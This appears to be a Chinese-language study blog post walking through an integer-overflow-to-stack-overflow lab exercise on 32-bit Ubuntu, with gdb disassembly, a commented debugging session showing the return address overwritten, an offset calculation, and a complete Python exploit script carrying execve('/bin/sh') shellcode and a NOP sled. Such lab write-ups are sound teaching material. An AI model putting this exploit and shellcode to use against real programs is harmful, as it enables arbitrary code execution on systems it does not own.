整數溢出
虛擬機安裝:Ubuntu 12.04(x86)
什么是整數溢出?
存儲大於最大支持值的值稱為整數溢出。整數溢出本身不會導致任意代碼執行,但整數溢出可能會導致堆棧溢出或堆溢出,這可能導致任意代碼執行。在這篇文章中,我將僅談論整數溢出導致堆棧溢出,整數溢出導致堆溢出將在后面的單獨的帖子中討論。
后邊的內容復制粘貼好煩,還是說關鍵點吧!
原文見:https://bbs.pediy.com/thread-216869.htm
這個文章解釋的比上一個清楚多了,相信能看懂,唯一不懂的,和上一篇估計一樣,還是地址計算的問題
同樣是使用gdb 調試:gdb -q vuln
下邊解釋下我是如何找地址的(虛擬機環境Ubuntu14.04 32位系統,gcc 4.8.2)
首先使用disassemble 查看匯編代碼,看看程序的匯編代碼布局:
1 (gdb) disassemble validate_passwd 2 Dump of assembler code for function validate_passwd: 3 0x08048507 <+0>: push %ebp 4 0x08048508 <+1>: mov %esp,%ebp 5 0x0804850a <+3>: sub $0x28,%esp 6 0x0804850d <+6>: mov 0x8(%ebp),%eax 7 0x08048510 <+9>: mov %eax,(%esp) 8 0x08048513 <+12>: call 0x80483e0 <strlen@plt> 9 0x08048518 <+17>: mov %al,-0x9(%ebp) 10 0x0804851b <+20>: cmpb $0x3,-0x9(%ebp) 11 0x0804851f <+24>: jbe 0x8048554 <validate_passwd+77> 12 0x08048521 <+26>: cmpb $0x8,-0x9(%ebp) 13 0x08048525 <+30>: ja 0x8048554 <validate_passwd+77> 14 0x08048527 <+32>: movl $0x8048670,(%esp) 15 0x0804852e <+39>: call 0x80483b0 <puts@plt> 16 0x08048533 <+44>: mov 0x804a040,%eax 17 0x08048538 <+49>: mov %eax,(%esp) 18 0x0804853b <+52>: call 0x8048390 <fflush@plt> 19 0x08048540 <+57>: mov 0x8(%ebp),%eax 20 0x08048543 <+60>: mov %eax,0x4(%esp) 21 0x08048547 <+64>: lea -0x14(%ebp),%eax 22 0x0804854a <+67>: mov %eax,(%esp) 23 0x0804854d <+70>: call 0x80483a0 <strcpy@plt>
嗯,發現編譯器改動不大,就是將strlen函數直接內嵌了,沒有使用函數調用(庫函數的慣用做法),不多解釋
(gdb) list 看一眼源碼,方便下斷點
(gdb) b validate_passwd 下斷
然后開心的按照作者說的運行
下邊是調試步驟
1 Reading symbols from vuln...done. 2 (gdb) b validate_passwd 3 Breakpoint 1 at 0x804850d: file vuln.c, line 14. 4 (gdb) r sploitfun `python -c 'print "A"*261'` 5 Starting program: /home/jourluohua/work/test2/vuln sploitfun `python -c 'print "A"*261'` 6 7 Breakpoint 1, validate_passwd ( 8 passwd=0xbffff6b6 'A' <repeats 200 times>...) at vuln.c:14 9 14 unsigned char passwd_len = strlen(passwd); /* [1] */ 10 (gdb) n //單步調試,想看看執行到了我們認為的關鍵的代碼沒有,很明顯這兒還不是關鍵代碼 11 15 if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */ 12 (gdb) n 13 16 printf("Valid Password\n"); /* [3] */ 14 (gdb) p passwd_len //這兒是關鍵處了,但是如果是正確的話,passwd_len 應該是'A',很可能是程序還沒真正執行到 15 $1 = 5 '\005' 16 (gdb) n 17 Valid Password 18 17 fflush(stdout); 19 (gdb) n 20 18 strcpy(passwd_buf,passwd); /* [4] */ 21 (gdb) n 22 23 store_passwd_indb(passwd_buf); /* [6] */ 23 (gdb) p passwd_len //好終於到了我們想要的地方了 24 $2 = 65 'A' 25 (gdb) p &passwd_len //passwd_len的地址,既然利用的是棧,我們在乎的是內存布局 26 $3 = (unsigned char *) 0xbffff46f 'A' <repeats 200 times>... 27 (gdb) p buf //手誤,沒有任何原因 28 $4 = 0x0 29 (gdb) n 30 24 } 31 (gdb) p passwd_buf //passwd_buf的值也對了 32 $5 = 'A' <repeats 11 times> 33 (gdb) p &passwd_buf[0] //passwd_buf的地址也和我們想象的一樣 34 $6 = 0xbffff464 'A' <repeats 200 times>... 35 (gdb) p/x $eip //很明顯還沒有被覆蓋 36 $7 = 0x8048578 37 (gdb) p/x $ebp //這個真的不是在湊字數,ebp的地址很重要 38 $8 = 0xbffff478 39 (gdb) n 40 0x41414141 in ?? () 41 (gdb) p/x $eip //好,已經覆蓋了 42 $9 = 0x41414141 43 (gdb) p/x $ebp 44 $10 = 0x41414141 45 (gdb)
按照我上邊的注釋,相信大家對調試過程已經有了一定了解,現在說下地址的計算
$ebp - &passwd_buf[0] +4 = 0x18 = $eip - &passwd_buf[0]
這就是所謂的內存偏移,有了這個,我們的ret_addr就可以算出來了
ret_addr= 0xbffff464 +0x18 + 100
還是老規矩,附上我的exp.python 代碼
1 #exp.py 2 #!/usr/bin/env python 3 import struct 4 from subprocess import call 5 6 arg1 = "sploitfun" 7 8 #Stack address where shellcode is copied. 9 ret_addr = 0xbffff4e0 10 11 #Spawn a shell 12 #execve(/bin/sh) 13 scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$ 14 15 #endianess convertion 16 def conv(num): 17 return struct.pack("<I",num)#unk + RA + NOP's + Shellcode 18 arg2 = "A" * 24 19 arg2 += conv(ret_addr); 20 arg2 += "\x90" * 100 21 arg2 += scode 22 arg2 += "C" * 108 23 24 print "Calling vulnerable program" 25 call(["./vuln", arg1, arg2])